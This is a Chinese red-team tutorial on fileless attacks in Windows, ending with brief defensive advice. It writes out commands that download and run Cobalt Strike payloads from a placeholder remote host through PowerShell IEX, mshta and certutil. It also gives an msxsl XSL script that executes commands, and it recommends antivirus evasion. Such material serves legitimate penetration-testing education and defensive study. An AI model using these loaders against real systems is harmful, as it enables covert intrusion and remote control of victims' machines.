点击蓝字 关注我们
日期:2024年04月19日 作者:hdsec 介绍:总结几种 windows
中常见的无文件落地攻击手法,实际应用中还需结合免杀处理。
0x00 前言
无文件落地攻击(Fileless Attack
)是一种高级的网络攻击技术,它利用操作系统或应用程序的漏洞,通过在内存中运行恶意代码而不在受攻击系统上留下任何可检测的文件痕迹。与传统的恶意软件攻击不同,无文件攻击不需要依赖传统的恶意软件文件来实施攻击,从而增加了攻击的隐蔽性和成功率。
无文件攻击通常利用合法的系统工具和功能,如PowerShell
、WMI
(Windows Management Instrumentation
)、注册表等,来执行恶意代码。攻击者可以通过操纵这些合法工具来加载和执行恶意代码,并将其驻留在受害系统的内存中。由于没有文件被写入磁盘,传统的防病毒软件和安全工具难以检测到这种类型的攻击。
0x01 无文件落地攻击的常用手法
一般来说在windows
的能执行脚本或命令的组件都可以用来利用进行无文件落地攻击。
我们常见的可以利用Windows
自带的解析器:
PowerShell 解析器 >>> PowerShell.exe(应用程序)
VB.script 解析器 >>> cscript.exe(应用程序)
bat处理 解析器 >>> cmd.exe(应用程序)
javaSrtipt 解析器 >>> mshta.exe(应用程序)
0x02 无文件落地攻击的优势
无文件攻击与传统的恶意软件攻击相比,有以下对比优势:
-
隐蔽性:无文件攻击不需要在受害系统上留下可见的文件痕迹,因此比传统的恶意软件攻击更难被发现。
-
检测困难:传统的基于文件扫描的安全工具难以检测到无文件攻击,因为没有文件可供扫描。而无文件攻击利用系统内置的合法工具和功能来执行攻击,增加了攻击的成功率。
-
利用系统工具:无文件攻击通常利用系统内置的合法工具和功能来执行恶意代码,比传统的恶意软件攻击更加难以防范和识别。
-
成功率高:由于无文件攻击具有较高的隐蔽性和检测困难性,攻击者可以更容易地将攻击成功地进行下去。
0x03 常见的利用方式
3.1 PowerShell 利用
PowerShell
是由Microsoft
开发的一种跨平台的命令行脚本语言和任务自动化工具。
它是Windows
操作系统的重要组成部分,并且可用于管理和控制Windows
系统中的各种功能。
PowerShell
可以用于自动化系统管理任务、批量处理、测试和部署脚本等。它是Windows
系统管理的重要工具之一,并且在开发、测试、运维等领域都有广泛的应用。
PowerShell
具有以下特点:
-
面向对象:
PowerShell
是一种面向对象的编程语言,具有类、对象、属性和方法等概念。 -
强大的命令行界面:
PowerShell
提供了丰富的命令行界面,可以方便地执行各种系统管理任务,如文件操作、进程管理、网络配置等。 -
与
.NET
框架兼容:PowerShell
完全兼容.NET
框架,并且可以使用.NET
框架中的类库和对象。 -
可扩展性:
PowerShell
支持插件和模块,可以扩展其功能以适应不同的需求。 -
跨平台支持:
PowerShell
已经被移植到Linux
和macOS
平台,并支持跨平台脚本编写。 -
安全性:
PowerShell
提供了严格的访问控制和权限管理机制,可以确保系统的安全性。
PowerShell 利用常见手法
在Cobalt Strike
的Attacks
-Web Drive-by
-Scripted Web Delivery
生成木马。
PowerShell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://X.X.X.X:12333/a'))"
在目标机器上调用PowerShell
远程加载执行我们的恶意文件,运行成功后可以发现成功在Cobalt Strike
中上线。
3.2 Mshta.exe 利用常见手法
HTA
(HTML Application
)文件是一种特殊类型的可执行文件,它基于HTML
和脚本语言(通常是VBScript
或JScript
)编写。HTA
文件可以被认为是一个独立的、自包含的桌面应用程序,它结合了HTML
的界面设计和脚本语言的功能。
HTA
文件具有以下特点:
-
结构类似于
HTML
:HTA
文件使用HTML
标记语言来定义用户界面,可以包含常见的HTML
元素和样式。 -
支持脚本语言:
HTA
文件通常使用VBScript
或JScript
等脚本语言来实现交互逻辑和功能。 -
具有完全的系统访问权限:与普通的
Web
应用程序不同,HTA
文件在被执行时拥有与本地应用程序相同的权限,可以访问系统资源和执行系统命令。 -
可以通过双击方式执行:
HTA
文件可以直接在Windows
操作系统中双击打开,并以独立窗口的形式显示应用程序界面。 -
可以与本地系统进行交互:
HTA
文件可以与本地文件系统、Windows
注册表、操作系统组件等进行交互,实现更丰富的功能。
在 Cobalt Strike 中利用方式
在Cobalt Strike
的Attacks
-Packages
-HTML Application
生成一个HTA
恶意脚本evil1.hta
。
然后在Cobalt Strike
的Attacks
-Web Drive-by
-Host File
部署远端hta
木马。在实际应用中建议payload
和回连c2
进行分离。
当在目标机器中运行命令mshta http://x.x.x.x:8083/22.hta
,发现成功在Cobalt Strike
中上线。
3.3 certutil.exe 利用常见手法
Certutil.exe
是Windows
操作系统自带的一个证书管理命令行工具,用于管理证书和密钥,以及执行与证书相关的操作。它可以对证书进行导入、导出、查看、删除等操作,并支持多种证书格式,如X.509
、PKCS#12
等。Certutil.exe
可以在Windows
系统的命令提示符下执行,也可以通过批处理脚本等方式进行批量处理。它对于保护系统安全和管理证书非常有用。
在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。
Certutil.exe
的一些常见用途包括:
-
证书安装和导出:通过
Certutil.exe
,可以将证书安装到本地计算机或用户的证书存储区,并且可以将证书导出到文件。 -
查看证书详细信息:使用
Certutil.exe
,可以查看证书的详细信息,例如颁发机构、有效期、密钥类型等。 -
验证证书链:
Certutil.exe
提供了验证证书链的功能,可以检查证书是否已被吊销或是否存在其他安全问题。 -
签名文件:
Certutil.exe
可以用于签名文件并生成数字签名,从而保证文件的完整性和真实性。 -
生成证书请求:通过
Certutil.exe
,可以生成证书请求文件,该文件可用于申请数字证书。
在 Cobalt Strike 中利用方式
同样利用Cobalt Strike
生成恶意PowerShell
文件,并在远端C2
机器上进行部署。
在目标机器上运行如下命令,将恶意文件保存在当前路径,并指定保存文件名称。
certutil -urlcache -split -f http://x.x.x.x:8087/download/1.txt 1.ps1
在保存文件的路径下,执行恶意文件后,发现成功上线Cobalt Strike
。
3.4 msxsl.exe 利用
msxsl.exe
这个工具是windows
发布的一个组件但是它并没有安装在windows
操作系统中。利用的时候需要上传到目标机器或者通过钓鱼的手法在目标机器上加载释放。
网上没有过多的介绍,msxsl.exe
是微软用于命令行下处理XSL
的一个程序,所以通过它,我们可以执行JavaScript
进而执行系统命令。
工具下载地址:
https://github.com/TechnoVilla/msxsl
在Cobalt Strike中利用方式
执行该工具需要用到两个文件,分别为XML
及XSL
文件,并在目标机器上运行如下命令。
msxsl.exe test.xml exec.xsl
test.xml 文件内容如下:
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl 文件内容如下:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
在目标机器上运行msxsl.exe test.xml exec.xsl
可以弹出计算器。
利用Cobalt Strike
生成恶意PowerShell
文件,并修改exec.xsl
文件。
在目标机器运行命令msxsl.exe test.xml exec.xsl
,如下图所示可成功上线CS
。
0x04 如何防御
为了防范无文件攻击,组织可以采取以下措施:
(1)更新和修补系统:及时更新操作系统和应用程序的补丁,以修复已知的漏洞。
(2)启用安全策略:限制可执行文件的执行权限,只允许受信任的程序运行。
(3)监控和检测:使用行为分析和异常检测技术来检测异常活动和恶意行为。
(4)安全意识培训:提高员工对无文件攻击和其他网络威胁的认识,教育他们如何识别和避免风险。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
原文始发于微信公众号(宸极实验室):『红蓝对抗』无文件落地攻击手法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论